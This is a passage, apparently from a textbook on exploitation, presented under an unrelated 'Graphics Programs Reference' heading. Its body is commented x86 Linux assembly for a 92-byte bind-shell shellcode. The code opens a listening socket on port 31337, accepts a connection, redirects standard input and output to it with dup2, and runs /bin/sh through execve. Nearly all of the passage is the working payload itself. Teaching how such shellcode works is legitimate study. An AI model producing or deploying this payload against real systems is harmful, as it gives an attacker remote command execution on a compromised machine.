Graphics Programs Reference
In-Depth Information
push edx ; Build sockaddr struct: INADDR_ANY = 0
push WORD 0x697a ; (in reverse order) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = server struct pointer
push BYTE 16 ; argv: { sizeof(server struct) = 16,
push ecx ; server struct pointer,
push esi ; socket file descriptor }
mov ecx, esp ; ecx = argument array
int 0x80 ; eax = 0 on success
; listen(s, 0)
mov BYTE al, 0x66 ; socketcall (syscall #102)
inc ebx
inc ebx ; ebx = 4 = SYS_LISTEN = listen()
push ebx ; argv: { backlog = 4,
push esi ; socket fd }
mov ecx, esp ; ecx = argument array
int 0x80
; c = accept(s, 0, 0)
mov BYTE al, 0x66 ; socketcall (syscall #102)
inc ebx ; ebx = 5 = SYS_ACCEPT = accept()
push edx ; argv: { socklen = 0,
push edx ; sockaddr ptr = NULL,
push esi ; socket fd }
mov ecx, esp ; ecx = argument array
int 0x80 ; eax = connected socket FD
; dup2(connected socket, {all three standard I/O file descriptors})
xchg eax, ebx ; Put socket FD in ebx and 0x00000005 in eax.
push BYTE 0x2 ; ecx starts at 2.
pop ecx
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
dec ecx ; count down to 0
jns dup_loop ; If the sign flag is not set, ecx is not negative.
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve syscall #11
push edx ; push some nulls for string termination.
push 0x68732f2f ; push "//sh" to the stack.
push 0x6e69622f ; push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp.
push edx ; push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr
int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
This assembles to the same 92-byte bind_shell shellcode used in the
previous chapter.
